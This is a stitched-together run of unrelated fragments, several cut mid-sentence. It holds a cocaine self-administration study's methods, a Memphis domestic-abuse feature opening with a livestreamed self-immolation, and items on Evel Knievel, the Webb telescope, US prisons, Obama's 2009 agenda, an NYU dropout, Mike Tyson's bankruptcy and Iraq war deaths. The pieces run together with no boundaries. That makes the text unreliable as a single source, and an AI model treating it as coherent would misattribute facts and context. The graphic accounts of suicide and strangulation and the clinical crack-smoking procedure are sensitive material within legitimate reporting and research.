diastolic, DP) were recorded every 2 min (Sentry II, Model 6100 automated vital signs monitor, NBS Medical, Costa Mesa, CA) beginning 20 min before drug administration. An Apple Macintosh computer located in an adjacent room was used for automated data collection. Procedure While in-patient, participants had access to television, radio, telephone, videotaped movies, and tobacco cigarettes when not participating in a session. They could not leave the unit unescorted by research staff and could not receive visitors. Each participant completed a total of 24, 2.5-h weekday laboratory sessions; two sessions were conducted per day on study days 11, 12, 14, 15, 25, 26, 28, 29, 39, 40, 42, and 43. During sessions, research nurses located in the adjacent room continuously observed participants through a one-way mirror, and communication was possible via an intercom system. Sessions occurred under all three modafinil conditions (placebo, 200, and 400 mg/day). Sessions started at approximately 0900 and 1300, and began with a 30-min baseline measurement of cardiovascular activity and mood. At the start of each session, participants were provided with $25 from their study earnings (five $5 bills, one for each choice opportunity). Then, they were allowed to smoke the ‘sample’ dose of cocaine base (0, 12, 25, and 50 mg) available that session. Cocaine smoking was accomplished by placing a metered dose of cocaine base in an 8 cm glass tubing, or ‘stem,’ packed with fine metal mesh; participants held the glass stem while the research nurse applied the flame from a lighter until the individual had finished inhaling the volatized cocaine. Participants were blindfolded during inhalation to decrease potential expectancy effects. Following the sample dose, participants were given five opportunities, at 14-min intervals, to purchase the same amount of cocaine as in the sample dose or to keep $5 for that choice opportunity. A cocaine dose was not given on any trial in which cardiovascular activity was above our criteria for safe drug administration. Cardiovascular criteria for withholding a dose were as follows: (1) SP>160 mm Hg, sustained for longer than 6 min (ie >3 consecutive readings); or (2) DP>100 mm Hg, sustained for longer than 6 min (ie >3 consecutive readings); or (3) HR>220, participant's age × 0.85 b.p.m., sustained for 6 min (ie three consecutive readings). Under each modafinil maintenance condition, the four available cocaine doses (0, 12, 25, and 50 mg) were tested in four self-administration sessions (morning and afternoon) over 2 days, and then the procedure was repeated on 2 of the following 3 days. Thus, each cocaine dose was tested twice under each modafinil maintenance condition, with dosing order systematically varied. Subjective-Effects Questionnaire A subjective-effects questionnaire was completed at baseline, 4 min following delivery of the selected option (cocaine or $5) and 30 min following the last selected option of the session. The questionnaire consisted of a series of 10-cm visual analog scales (VAS). To reduce the number of dependent variables, cluster analysis was accomplished as previously described (Evans et al, 2002; Foltin and Haney, 2004), and each cluster score was derived by taking the arithmetic average of the items in the cluster. Five clusters were produced from 20 VAS items: (1) Bad Drug Effects consisted of seven items: ‘anxious,’ ‘bad drug effect,’ ‘confused,’ ‘depressed,’ ‘irritable,’ ‘sedated,’ and ‘tired’; (2) Self-Esteem consisted of five items: ‘alert,’ ‘friendly,’ ‘self-confident,’ ‘social,’ and ‘talkative’; (3) Calm consisted of two items: ‘calm,’ and ‘able to concentrate’; (4) Good Drug Effect consisted of three items: ‘good drug effect,’ ‘high,’ and ‘stimulated’; and (5) Drug Quality consisted of three items: ‘the choice was of high quality,’ ‘the choice was potent,’ and ‘I liked the choice.’ Three VAS items were used to operationalize drug craving: ‘I want cocaine,’ ‘I want alcohol,’ and ‘I want nicotine.’ A final question asked individuals ‘How much would you pay for the dose you just received?’ with a scale range of $0–25. Plasma Analysis Blood samples for the analysis of cocaine levels were drawn three times during each laboratory session: (1) before cocaine administration, (2) 4 min after the first cocaine dose, and (3) 4 min after receipt of the last selected (cocaine or money). All blood samples were analyzed for cocaine and cocaine metabolites (Isenschmid et al, 1992). In addition, blood samples were drawn for modafinil levels twice per in-patient week. To monitor compliance with outpatient medication regimens, modafinil levels were also assessed in weekly blood samples drawn during the outpatient phases of the study. Laboratory analyses were carried out by the Analytical Toxicology Laboratory at New York State Psychiatric Institute. Cocaine and Study Medication Cocaine free-base was prepared by the New York State Psychiatric Institute Pharmacy (Foltin et al, 1990). Modafinil (100 mg) tablets were packaged into size #00 opaque capsules with riboflavin filler by the New York State Psychiatric Institute Pharmacy. Identical placebo capsules contained only lactose and riboflavin filler. During the in-patient phases, modafinil was administered as two identical capsules at 0700 and 1900 each day on the research unit. During outpatient phases, participants were instructed to follow the same dosing regimen. Data Analysis Repeated measures analyses of variance with cocaine dose (0, 12, 25, and 50 mg), modafinil maintenance condition (placebo, 200, and 400 mg/day) and replication (first and second under each maintenance condition) as within-subjects factors were conducted to examine differences in mean cocaine choice selection and peak values for subjective and cardiovascular effects. Planned contrasts were calculated comparing results from placebo maintenance to the results obtained under active modafinil maintenance for each cocaine dose. The planned contrasts were single-degree-of-freedom comparisons that used the error term for the medication × cocaine dose interaction. Active or placebo cocaine was administered on 440 dosing occasions. When the cocaine dose was withheld, participants still completed the subjective-effects ratings and cardiovascular monitoring continued, and the data obtained, even though cocaine was not administered, were used in the analyses. In addition, because modafinil maintenance order was not entirely random, maintenance order was analyzed as a covariant; no significant effects of order were detected for any of the dependent variables. Data were considered statistically significant at p<0.05, using Huynh–Feldt corrections where appropriate."Jared McLemore is live on Facebook." Those who clicked immediately saw a dark street scene with trees in the background. Then, McLemore, shirtless, rushes into the frame and sits crosslegged, his expression strangely blank. He pours gasoline over his body from a red can. Voices come from offscreen as he fumbles with matches. A second body rushes in, tackling him, but it's too late. The frame is filled with flames. Fully engulfed, but eerily calm, McLemore runs off screen. The screaming begins. * Rock-and-roll came naturally to Alyssa Moore. Her parents were punk rockers in the Antenna scene of the 1980s. She picked up the guitar and wrote her first song at age 8. At 13, she played her first gig — a kid's birthday party. Music became her passion, her escape from reality. "I've had family problems my whole life," she says. "When I turned 14, 15, it was the worst it had ever gotten. They were fighting constantly.... My dad was gone. My mom was so depressed that she would just come home every day and go to sleep." Up until the ninth grade, she had been an A student. After the divorce, her grades faltered. Two months into her junior year, Moore dropped out. "I got my own apartment and started living as an adult. I've been living in Midtown since then." She met Will Forrest when she was 15. "I remember hearing her music on her MySpace at the time," he says, "and thinking she was a pretty rad musician. We wound up both frequenting the open mic at Java Cabana and started playing music together." The two started dating. They recorded their first album with engineer Kyle Johnson at Rocket Science Audio. "I always wanted to be a rock star," she says. "Every night I would go to bed, put on my headset, and listen to whatever female musician I wanted to be at the time: Courtney Love, Chrissie Hynde, whoever. Being a rock star is awesome. But I wanted to be able to do what Kyle did." Johnson became her mentor. "He just trusted me so much and had so much confidence in me," she says. "Instead of teaching me everything, he said 'Here's the keys. Go play. The only way you're going to figure this out is if you do it a million times.'" After about five years, Moore and Forrest's romantic relationship cooled, but their musical collaboration remained strong. Their new band was called Strengths. Their music was a mix of punk, metal, and math rock, with savage guitars and sudden time changes. It was smart and complex. Then, in November 2014, she met McLemore. "He introduced himself after a Strengths show," recalls Forrest. "He's an excessive personality, talks a mile a minute. He was really funny. He wanted to dominate the conversation and be the center of attention." The day after the show, he sent Moore a Facebook friend request. "He was working at Ardent; I had started doing sound at Murphy's. I was a studio rat at that point. It just made sense for us to get together. "When we started dating, he asked a lot of questions. He was very intelligent. He had an imagination that I was drawn to. Because I was so fascinated with music and with recording, and he was as well, that was essentially our relationship for the first eight months." McLemore told Moore that he had been diagnosed with rapid-cycling bipolar disorder. "His mental illness didn't scare me," Moore says. "I knew what depression felt like, and I knew that it causes you to do and say things that you wouldn't otherwise do. I watched my mother, in my childhood, be super depressed, and I saw when she came out of it, she blossomed. This is a guy who has had shitty luck his entire life, I thought. He'll be okay, I just have to prove to him that somebody can love him with a mental illness." Mitchell Manley met McLemore when they were 17 years old. "When I was living in Milan and was playing in bands with him, I knew he had a lot of personal trauma." McLemore was married while in Jackson. But after about seven years, his wife left him in the middle of the night. "None of his friends ever saw her again," says Manley. "Shortly after his wife divorced him, he attempted suicide. He tried to shoot himself, but the gun jammed. They airlifted him to Memphis and immediately put him into mental health treatment. Then he tried to start a better life." Moore says she did her best to help McLemore. "As he opened up to me about his illness and the things he had done about his illness, I was like, 'You need to be on medicine. Don't be ashamed.'" Moore says that while they were together, they smoked marijuana but didn't take any other drugs. With her family's painful history of alcoholism, Moore didn't drink, and for a while, McLemore didn't either. "He admitted to me that he had an Adderall addiction from the ages of 22 to 28. He was prescribed Adderall, because doctors thought he had ADHD instead of bipolar disorder. That was a big mistake. They gave speed to a psychopath." After five months, the couple moved into a Midtown guest house. "If something went wrong, he would say 'I'm going to kill myself.' He would break down and cry a lot, and I would hold him and console him." Strengths was one of the tightest bands in Memphis, but McLemore convinced Moore and Forrest that something was wrong. Forrest says McLemore suggested starting a new band. "He offered the solution that he would play drums, and we could be super tight. But it wound up being a way less-functional band, and it fell apart." The new band played one show. "After that show, Jared said, 'Look, I've tried to be friends with Will. I just can't do it.' So, we talked to his therapist about it, and even his therapist sided with him. He said it was strange for me to be in a band with my boyfriend from high school. She convinced both of us that me being friends with Will was a bad idea.... Looking back, [Jared's] motive was to isolate me from my friends." "This trajectory is very common," says Dr. J. Gayle Beck, professor of psychology at the University of Memphis. "This pattern almost ensures that she has less social support and few places to turn when stressed." * In February 2016, Moore and McLemore were working together in the studio. "I don't remember what caused the argument, but he stood up, grabbed my wrist, pulled me up, dragged me to the bathroom, closed the door and locked it behind us. He pushed me to the corner, and pushed me down on the ground. He held my hands back, and said 'Okay, this is it. Now you're going to die.'" Trapped against the wall in the bathroom, Moore talked McLemore down from murder. "I scraped my hand against the wall. I remember looking at it and thinking, 'Well, I'm bleeding because of my boyfriend. But it's so tiny. Surely this means nothing. He just had a bipolar episode.'" Moore told no one of the incident. "It is shameful to say, 'Hey, the man I love locked me in the bathroom and tried to kill me.' You feel like an idiot." Terror and threats became regular occurrences. "He was very smart about not leaving bruises in obvious places," she says. "To the day he died, he would say, 'I never beat you up,' but I would say that he did, because that's what it felt like." Beck says there is a broad range of abusive behaviors beyond beatings. "There is a common belief that Intimate Partner Violence [IPV] is only abuse if it entails hitting and punching. IPV subsumes physical, emotional, and sexual abuse. Sometimes abusers will threaten to kill the victim and later say, 'I was just angry — I'd never do that.' Being threatened with a weapon is abuse." "People ask, 'Why did you stay with him?'" says Moore. "I beg that they look at their own relationship and imagine their partner turning on them and wondering how long it would take for them to be like, 'Okay, I gotta get out.'" *** The first week of August 2016, Moore got a rare moment away from McLemore. She used the opportunity to contact the National Domestic Violence Hotline. "At that point, when you have somebody else validate you like that, you kind of freak out a little bit. I wasn't quite prepared to make a plan to leave at that point. But having someone else tell me, 'Yes, you're being abused. You need to leave' is so powerful." Two weeks later, McLemore accused Moore of flirting. "He said that I'd been slut dancing to this band. My denial of it sent him over the edge. I was making dinner when he decided to attack me." Alyssa Moore The kitchen in the Midtown guest house Moore shared with McLemore became the scene of an attack. At knife point, he forced her into the bedroom. "He said, 'Take your clothes off. Now.' I just kind of looked at him, because he had never done that before. He said, 'You know what's going to happen. Do it.' And he has the knife in his hand. So, I get naked, because I have to. He comes over to me and gets on top of me. He doesn't rape me, other than what he's already done by making me get naked. He grabs my neck and holds my face down. He chokes me. Then he stops, lets go for a minute, and watches me. Then he does it again a second time. Beyond that, my memory blacks out. I disassociated a little bit. I know at some point he ran, but he didn't take my phone with him, so I called 911." The police took the report and told her to find another place to stay. Moore went to her mother's apartment. "I had to tell her everything." Moore informed her friends that McLemore was on the run from police. Two days later, musician Josh Stevens saw McLemore walking on Madison. "At this point, he had either given up and he authentically wanted help, or he just couldn't run any more and wanted somewhere to recharge. We took him back to the house. He was very docile." The next day, Stevens' girlfriend and McLemore's cousin took him to the Memphis Mental Health Institute. Instead of checking himself in to the hospital, McLemore bolted. Stevens rushed to Moore's side. They called the police. "Then we saw Jared." McLemore started running towards Moore. "He was literally going to kill her," says Stevens. "I saw it in his eyes....The last thing I remember my friend Jared saying to me — and I say this because he wasn't my friend after this — was 'I should have killed you and your girlfriend last night when I had the chance.' We tussled. I got him down, but he got away." McLemore stole Moore's car. As he was driving away, Moore's father Mike was arriving. He recognized McLemore and followed him. McLemore stopped, got out of the car, and the two fought. Again, McLemore got away. Meanwhile, the police had arrived. Moore says they were less than helpful. "I told them what had happened the night before, and they just kept hushing me. They didn't look up at all. No eye contact or anything. They didn't tell me what to expect, where he was going, nothing." McLemore returned to the house and gave himself up to police. He was committed to the Western State Mental Health Institute in Bolivar. "I think that we expect too much from law enforcement in this domain," says Beck. "It takes a woman [on average] six or seven attempts to successfully leave an abusive/violent romantic relationship. The implication of this is that the police will be called multiple times to her address. If they ask him [or her] to leave and the couple reunites, they have done all that is within their power to do. We cannot rely on the police to'solve' the DV [domestic violence] in Memphis." After he was released from the hospital, McLemore was taken to jail. His mother bailed him out,
that saw him suffer huge highs as well as many failures (and 37 broken bones), Knievel established himself an American folk hero, and his nationally televised motorcycle stunts remain among the most watched sporting events of all time. Knievel got his start as a motocross rider, but when in need of money he conceived the idea of performing stunts on his motorcycle. In his first jump, he hopped over a box full of rattlesnakes and two mountain lions, and he soon found sponsorship and became one of the first professional daredevils. Soon, Knievel was regularly jumping his Harley Davidson over rows of cars, trucks, and even the fountains at Caesar’s Palace. His most famous stunt came in 1974, when he attempted to jump the Snake River Canyon on a rocket-propelled motorcycle called the X-1. A malfunction caused the bike’s parachute to prematurely open and ruin the jump, but the media storm surrounding the event had already cemented Knievel’s reputation as the king of all daredevils, and he remained in the spotlight until his death in 2007. Liked it? Take a second to support Toptenz.net on Patreon! 3 Shares 1 Other Articles you Might LikeIn December, an "unexpected response" was noticed in the telescope's attached accelerometers and testing was paused. Now, researchers are close to figuring out what caused the aberrations and should have their findings finalized soon. "This is why we test -- to know how things really are, as opposed to how we think they are," deputy project manager Paul Geithner said. "The Webb telescope is the most dynamically complex test article we've ever tested at Goddard, so the responses were a bit different than expected." Like we noted in November, these tests are extremely important because the Webb will be nearly a million miles from Earth -- fixing something that isn't working right post-launch would probably be impossible. The Webb's mission is slated to begin in October 2018, so there's still plenty of time for additional testing. Before then, it still needs to undergo cryogenic examination and checks to make sure there won't be any Hubble-like optical defects in its imaging tools. While the scientists will get a better understanding of the universe in countless ways thanks to the tool's million-mile trip, we'll have some new space-porn photos that the agency is so fond of sharing. Maybe the telescope will get its own Twitter account? We can only hope.Americans, perhaps like all people, have a remarkable capacity for tuning out unpleasantries that do not directly affect them. I'm thinking here of wars on foreign lands, but also the astonishing fact that the United States has become the world's most jail-loving country, with well over 1 in 100 adults living as slaves in a prison. Building and managing prisons, and locking people up, have become major facets of government power in our time, and it is long past time for those who love liberty to start to care. Before we get to the reasons why, look at the facts as reported by the New York Times. The U.S. leads the world in prisoner production. There are 2.3 million people behind bars. China, with four times as many people, has 1.6 million in prison. In terms of population, the US has 751 people in prison for every 100,000, while the closest competitor in this regard is Russia with 627. I'm struck by this figure: 531 in Cuba. The median global rate is 125. What's amazing is that most of this imprisoning trend is recent, dating really from the 1980s, and most of the change is due to drug laws. From 1925 to 1975, the rate of imprisonment was stable at 110, lower than the international average, which is what you might expect in a country that purports to value freedom. But then it suddenly shot up in the 1980s. There were 30,000 people in jail for drugs in 1980, while today there are half a million. Other factors include the criminalization of nearly everything these days, even passing bad checks or the pettiest of thefts. And judges are under all sorts of minimum sentencing requirements. Now, before we move to causes and answers, please consider what jail means. The people inside are slaves of the state. They are captured and held and regarded by their captors as nothing other than biological beings that take up space. The delivery of all services to them is contingent on the whims of their masters, who have no stake in the outcome at all. Now, you might say that this is necessary for some people, but be aware that it is the ultimate assault on human dignity. They are "paying the price" for their actions, but no one is in a position to benefit from the price paid. They aren't working off debts or compensating victims or struggling to overcome anything. They are just "doing time," costing taxpayers almost $25,000 a year per person. That's all these people are to society: a cost, and they are treated as such. And the communities in which they exist in these prisons consist of other un-valued people, and they become socialized into this mentality that is utterly contrary to every notion of civilization. Then there are the relentless threat and reality of violence, the unspeakable noise, the pervasiveness of every moral perversity. In short, prisons are Hell. It can be no wonder that they rehabilitate no one. As George Barnard Shaw said, "imprisonment is as irrevocable as death." What's more, everything we know about government applies to this ultimate government program. It is expensive (states alone spend $44 billion on prisons every year), inefficient, brutal, and irrational. The modern prison system is also a relatively new phenomenon in history, one that is used to enforce political priorities (the drug war) rather than punish real crimes. It is also manipulated by political passions rather than a genuine concern for justice. The results of the drug war are not to reduce consumption but rather the opposite. Illegal drugs are now a $100 billion dollar industry in the US, while the drug war itself costs taxpayers $19 billion, even as the costs of running the justice system are skyrocketing (up 418% percent in 25 years). People say that crime is down, so this must be working. Well, that depends on what you mean by crime. Drug use and distribution are associated with violence solely because they are illegal. They are crimes because the state says they are crimes, but they do not fit within the usual definition we find in the history of political philosophy, which centers on the violation of person or property. What's more, the "crime" of drug use and distribution hasn't really been kept down; it has only gone further underground. It's a major irony and commentary on the workability of prisons that drug markets are very active there. Now to causes. Some social scientists give the predictable explanation that all this is due to the lack of a "social safety net" in the U.S. In the first place, the U.S. has had such a net for a hundred years, and yet these people seem not to have noticed, even though no such net is big enough for some people. Moreover, it is more likely the very presence of such a net – which creates a moral hazard so that people do not learn to be responsible for their own well-being – that contributes to criminal behavior (all else being equal). There are those on all sides who attribute the increase to racial factors, given that the imprisoned population is disproportionately black and Hispanic, and noting the disparity in crime rates in such places as Minnesota with low levels of minority populations. But this factor too could be illusory, especially as regards drug use, since it is far more likely that a state system will catch and punish people with less influence and social standing than those whom the state regards as significant. A more telling point comes to us from political analysts, who observe the politicization of judicial appointments in the United States. Judges run on their "tough on crime" records, or are appointed for them, and so have every incentive to lock people up more than justice truly demands. One factor that hasn't been mentioned so far in the discussion is the lobbying power of the prison industry itself. The old rule is that if you subsidize something, you get more of it. And so it is with prisons and the prison-industrial complex. I've yet to find any viable figures on how large this industry is, but consider that it includes construction firms, managers of private prisons, wardens, food service providers, counselors, security services, and a hundred other kinds of companies to build and manage these miniature societies. What kind of political influence do they have? Speculation here, but it must be substantial. As for public concern, remember that every law on the books, every regulation, every line in the government codebook, is ultimately enforced by prison. The jail cell is the symbol and ultimate end of statism itself. It would be nice if we thought of the interests of the prisoners in society and those that will become so. But even if you are not likely to be among them, consider the loss of privacy, the loss of liberty, the loss of independence, the loss of all that used to be considered truly American, in the course of the building of prison nation. But won't crime go up if we abandon our prison system? Let Robert Ingersoll answer: "The world has been filled with prisons and dungeons, with chains and whips, with crosses and gibbets, with thumb-screws and racks, with hangmen and headsmen – and yet these frightful means and instrumentalities and crimes have accomplished little for the preservation of property or life. It is safe to say that governments have committed far more crimes than they have prevented. As long as society bows and cringes before the great thieves, there will be little ones enough to fill the jails." [Via - LewRockwell.Com] Kitten Found After 25 Days in NYC Subway Blow-up doll stands in for groom Online Resting Place for Broken Hearts Can't Make This Up - Moose That Fell Off A Cliff Nearly Squashes Alaska Trooper's Patrol Car 10 Books You Should Read If You Loved FreakonomicsObama and his aides are plunging ahead on a large and expensive agenda that virtually assures 2009 will be marked by intense partisan battles. Hardened Obama plans new fights Emboldened by his victory on the stimulus package — but chastened by the pothole-pocked road that got him there — -President Barack Obama and his aides are plunging ahead on a large and expensive agenda that virtually assures 2009 will be marked by intense partisan battles about the size and role of government. White House aides say they have concluded that Obama too frequently lost control of the debate and his own image during the stimulus battle. By this reckoning, the story became too much about failed efforts at bipartisanship and Washington deal-making, and not enough about the president’s public salesmanship. Story Continued Below For Obama’s next act, the program is the same as he has been planning for months: New Deal-style plans to rescue struggling homeowners and rewrite regulations on the financial markets, plus a budget proposal that lays the groundwork for sweeping health care reform. But the strategy to promote these items is getting an emergency overhaul. Obama plans to travel more and campaign more in an effort to pressure lawmakers with public support, rather than worrying about whether he can win over Republican votes in Congress. Officials suggested that the new, more partisan tone Obama embraced last week in his speech before House Democrats at their retreat and continued at his news conference Monday was what he should have been doing all along. Meeting with reporters Thursday night, White House chief of staff Rahm Emanuel said that there were times during the stimulus debate when “I don’t think we were sharp about the benefits” of the legislation, letting Washington process dominate the message. Reflecting as “somebody who has been in this town,” he observed that “there’s an insatiable appetite for the notion of bipartisanship here and we allowed that to get ahead of ourselves.” But Emanuel said that they recognized they had overdone their initial outreach to Republicans and had offered "a sharp message for the last week." For now, the hard-charging chief of staff added, “He has an open hand, but he has a very firm handshake.” Translation: Yes, the president will continue to do obligatory outreach to the GOP, but he’s not going to be burned again by an out-of-power and toothless minority for the sake of appearances. This may be the only practical course. Obama’s call for compromise and change in how Washington does its business was quickly rebuffed by both parties in Congress. Both Democrats and Republicans have political needs and authentic ideological priorities that matter a lot more to them than whether Washington is a civil place. Implicit in Obama’s lessons-learned appraisal from the stimulus battle is also a new realism about his own party. His initial decision to give House Speaker Nancy Pelosi and the liberal House Democratic caucus so much leeway in drafting the stimulus bill allowed Obama to be tarred with some of the most controversial items in the package. Going on the road means he is able to soar over Pelosi’s head as well as Republicans. The Washington climate, which led to a party-line vote on the stimulus, has big political implications: It means that Obama will have sole ownership — whether that means credit or blame — for all the massive changes in government he envisions over the coming year. For the near term, Obama’s public agenda will keep its overwhelming emphasis on domestic matters, even as many of the most fundamental questions are in foreign policy. Within the administration, urgent reviews of Iraq and Afghanistan policies are underway. But the West Wing itself has been preoccupied, with Emanuel himself taking the lead on legislative arm-twisting on the stimulus vote. The president’s next few agenda items will be grouped as “getting the country’s financial house in order” — a plan to help struggling homeowners, financial regulatory reform and the budget.A New York University has published the letter she personally wrote to school president John Sexton explaining her anger that she must drop out of college due to financial concerns, seeing it as the only way to avoid a life in education debt. Lucy Parks said she faced violence as a gay teen in rural Virginia, and wanted to go somewhere like NYU in New York City -- located blocks away from what some consider the birthplace of gay rights activism -- that's considered LGBT friendly. She further explained she came from modest means, with a middle school librarian as her mother and a father who made instruments and cabinets before passing away due to cancer. Parks, who would've graduated in 2016, said she told the financial aid office in fall 2013 she needed at least another $10,000 or she'd have to leave, but was only offered an increase of $2,000: After my college fund had been entirely depleted by the two years that I spent here, I faced the difficult choice of leaving without a degree or taking on an extra $60,000 to $80,000 of debt on top of the $15,000 I already owe. For fear that I would have to dedicate the best years of my life to paying that off, I decided to leave. I remain confident in my choice, but deeply saddened and angered by the fact that my only options were either to leave or devote years of my life post-graduation to paying off my debts. (Read the entire letter embedded below.) Parks explains in the letter, posted on Sept. 10, although the university was her "dream school," she concluded "students are not valued at NYU, but profit is": I am writing you because I am angry. President Sexton, you make nearly $1.5 million a year and as one of your students I often had to go hungry - and I am not the only one. I am angry that the new president-to-be of our Board of Trustees used to make millions off of student loan debt incurred by people like me. I am angry that people like him get far more say in the decisions of this University than teachers or students. I am angry that kickbacks and swanky vacation home packages have been given to favored professors and administrators, but students are still living in Bobst because they can’t afford housing. I am angry because NYU is continuing with the 2031 plan for expansion despite the fact that students, professors, and community members all stand firmly against it. And while so much of our money is being spent on those things, students like me have to leave because we aren’t given enough financial aid. "While federal law prohibits NYU and every university from discussing the details of an individual student's financial aid package, I can say this: it is always a matter of regret to us when we cannot address a student's financial aid needs fully, even in cases in which we might be giving an individual student tens of thousands of dollars per year in scholarship money," NYU spokesman John Beckman told The Huffington Post. Beckman noted only a small minority of universities are able to meet the full financial need a student may have and NYU is not among them, however, the university has increased its financial aid budget by more than 130 percent over the last 10 years, and it's currently fundraising to do more. "As I said, we respect the choice this student and her family made," Beckman said. "But we also believe in the value and excellence of the education NYU offers... And we believe the strong outcomes for NYU students in terms of finding jobs after graduation or continuing on to graduate or professional school demonstrate that." Prior to her submission of the letter, she posted about dropping out on Twitter. Just turned in my form to drop out of #NYU! I am now officially no longer a student. #EducationIsARight #StudentDebt pic.twitter.com/3RXEfayxHQ — Lucy Parks (@ParksLucifer) September 2, 2014The treasuries of Georgia and Michigan, which are owed $317,201 by Tyson's company, Mike Tyson Enterprises. Seven law firms, which are owed more than $600,000 by Tyson and his company. Barry Hankerson, a financial manager, who is owed $500,000. The music producer Jimmy Henchmen, who is owed $450,000. *A former trainer, Stacey McKinley, who has sued Tyson in a Memphis court to repay a debt of $800,000. ''We had some negotiations, but they didn't go anywhere,'' McKinley's lawyer, Henry Shelton III, said from Memphis. ''Now, under the bankruptcy act, the lawsuit is stayed.'' Tyson also owes $51,949 in child support to Kimberley Scarborough, who gave birth to their daughter in 1991. ''She's getting along with difficulty,'' Raoul Felder, her lawyer, said. ''It's of concern when you see someone who made $300 million.'' Felder said he recently dropped a paternity suit against Tyson filed by another woman, who is still listed as a creditor in the Tyson filings. Tyson's assets -- ranging from $10 million to $50 million, the filing says -- include cars, two Las Vegas homes, where he said he no longer lives, and other property. Newsletter Sign Up Continue reading the main story Please verify you're not a robot by clicking the box. Invalid email address. Please re-enter. You must select a newsletter to subscribe to. Sign Up You will receive emails containing news content, updates and promotions from The New York Times. You may opt-out at any time. You agree to receive occasional updates and special offers for The New York Times's products and services. Thank you for subscribing. An error has occurred. Please try again later. View all New York Times newsletters. Tyson's filing says his debt totals more than $27 million. Debra Grassgreen, one of the bankruptcy lawyers, would not specify his assets. By telephone from San Francisco, she said: ''There could be a substantial difference between debts and assets; they could be the same or assets could exceed liabilities. It's difficult to tell at this stage.'' Under federal bankruptcy law, a person may seek protection under Chapter 11 when unable to meet payments on his debts. The court may cancel or reschedule them, and the debtor ordinarily must present a plan within six months. Advertisement Continue reading the main story Tyson's many creditors probably did not know what he admits in the filings. ''I have been in financial distress since 1998,'' Tyson said in an affidavit, ''when I was burdened with substantial debt to Showtime, taxing authorities and parties to litigation. Since that time, although my fight income, various asset sales and litigation recoveries have enabled me to pay a lot of my debt, I am still unable to pay my bills.'' Sanford Ain, Turner's divorce lawyer, described Tyson's spending habits with understatement. ''He spent enormous amounts of money that were inappropriate at best,'' Ain said. ''Part of it can be attributed to a lack of willpower. Part of it can be attributed to people who he let get close to him and depended on his goodwill and took advantage of him.'' Yet he added that Turner is ''sorry for what he's going through and is trying to be as supportive as she can.'' Shelly Finkel, Tyson's manager, declined to comment on the bankruptcy filing. Tyson spent with the type of aggressiveness that once characterized his early round knockouts. According to court documents filed in the divorce case, he spent $400,000 a month to maintain his lifestyle. From 1995 to 1997, he spent $9 million in legal fees, $230,000 on pagers and cellphones, $410,000 on a birthday party. In June 2002, he owed $8,100 to care for his tigers and $65,000 for limos. One of his corporate creditors is CLS-Limo Services, which he owes $308,749. Boxers have all too frequently been known for the money they have lost to unscrupulous promoters and managers, not for the well-engineered fortune of a George Foreman, who remade himself as a jolly Everyman in his second boxing go-round, which yielded numerous endorsements, a broadcasting career and a $137.5 million deal for Salton Inc. to use his name and image to sell grillers. Tyson's ferocious image and criminal record, including a rape conviction, have kept advertisers from associating with him. If financial salvation for Tyson exists, it is not in a rematch with Lennox Lewis, a third go-round with Evander Holyfield, or a fight against Roy Jones Jr. It rests with Tyson's $100 million lawsuit against his former promoter, Don King, alleging that King duped him into signing a contract while he was still in prison for rape and siphoning off millions of dollars. Tyson's bankruptcy lawyers describe the lawsuit as a ''litigation asset,'' which means a favorable judgment could pay off many of his debts, if not all of them. Grassgreen would not assess his chances in court against King.97 percent of US death toll came after 'Mission Accomplished' Agence France-Presse Published: Monday March 24, 2008 \| Print This Email This BAGHDAD (AFP) The death toll of US soldiers in the five-year Iraq conflict has hit 4,000 in what the US military said Monday was a "tragic" loss of lives after four troops were killed in a Baghdad bombing. The four soldiers died when their vehicle was hit by a roadside bomb while on patrol late Sunday in southern Baghdad, bringing the overall toll to 4,000, according to an AFP tally based on independent website. Another soldier was wounded in the attack, a military statement said. The chaotic and brutal conflict which is now in its sixth year has also wounded more than 29,000 American soldiers, according to icasualties.org. At least 97 percent of the deaths occurred after US President George W. Bush announced the end of "major combat" in Iraq on May 1, 2003, as the military became caught between a raging anti-American insurgency and brutal sectarian strife unleashed since the toppling of Saddam. 140 American servicemembers died before May 1, 2003, out of a total 4,000. Despite the losses, Bush on the eve of the war's fifth anniversary defended his decision to invade Iraq, vowing no retreat as he promised American soldiers would triumph despite the "high cost in lives and treasure." US military spokesman in Baghdad, Rear Admiral Gregory Smith, said the loss of every soldier was "tragic". "No casualty is more or less significant than another; each soldier, marine, airman and sailor is equally precious and their loss equally tragic," Smith told AFP. "Being in the military means we are willingly in harm's way to protect others in order to bring hope and a sustainable security to the Iraqi people." According to icasualties.org, 81.3 percent of the soldiers killed have died in attacks by Al-Qaeda in Iraq fighters, Sunni insurgent groups loyal to Saddam and radical Shiite militias. The remainder died in non-combat related incidents. Roadside bombs caused most of the casualties, with small arms fire the second biggest killer. Around 40 percent of those killed were struck by roadside bombs, according to the website, making these weapons the main cause of fatalities. Others died variously in car bombings, small arms fire, helicopter crashes, ambushes, rocket attacks and suicide bombings. American soldiers interviewed by AFP in Iraq expressed sorrow over the casualties but insisted the conflict was justified. "It's sad that the number is that high. It makes you wonder if there is a different way of approaching things. Nobody likes to hear that number," said senior Airman Preston Reeves, 26, from Birmingham, Alabama. "Everyone of those people signed up voluntarily and its a shame that that happens, but tragedies do happen in war." Reeves said it was depressing that the support back home was receding. "It's a shame you don't get support from your own country, when all they want you to do is leave Iraq and all these people will have died in vain," he told AFP. The military death toll is one of the key elements of the US 2008 presidential elections for Democrat candidates Hillary Clinton and Barack Obama, who are calling for the withdrawal of troops. The deadliest war for the US military, aside from the two world wars, has been Vietnam, with 58,000 soldiers killed between 1964 and 1973, an average of 26 a day. On average, just over two US soldiers die every day in Iraq. The icasualties.org statistics reveal that the deadliest year for the military in Iraq was 2007 when it lost 901 troops on the back of a controversial "surge", which saw an extra 30,000 soldiers deployed in a bid to break the stranglehold of violence that has killed tens of thousands of Iraqis. This figure compares with 486 deaths in 2003, the first year of the conflict, 849 in 2004, 846 in 2005 and 822 in 2006. Since the start of 2008, 96 soldiers have died. US military commanders in Iraq acknowledge that putting extra troops on the ground also exposed them to more attacks. In recent months the military has begun withdrawing the surge troops as violence levels fall across the country, with US and Iraqi officials reporting a 60-percent drop in attacks since June. Most of the attacks in the past five years have been staged in four of Iraq's 18 provinces. The western Sunni province of Anbar witnessed most overall casualties, with 1,282 losses since the US-led invasion, according to icasualties.org, followed by Baghdad with 1,255, Salaheddin with 376, and Diyala with 238. In Anbar and Salaheddin the military faced a strong anti-American insurgency, while in Baghdad and Diyala it has been caught in a three-way fight involving Al-Qaeda, Sunni groups loyal to Saddam and Shiite militias. But for the past year attacks against US troops have fallen sharply in Anbar after local Sunni Arab groups joined forces with the US military to fight Al-Qaeda in 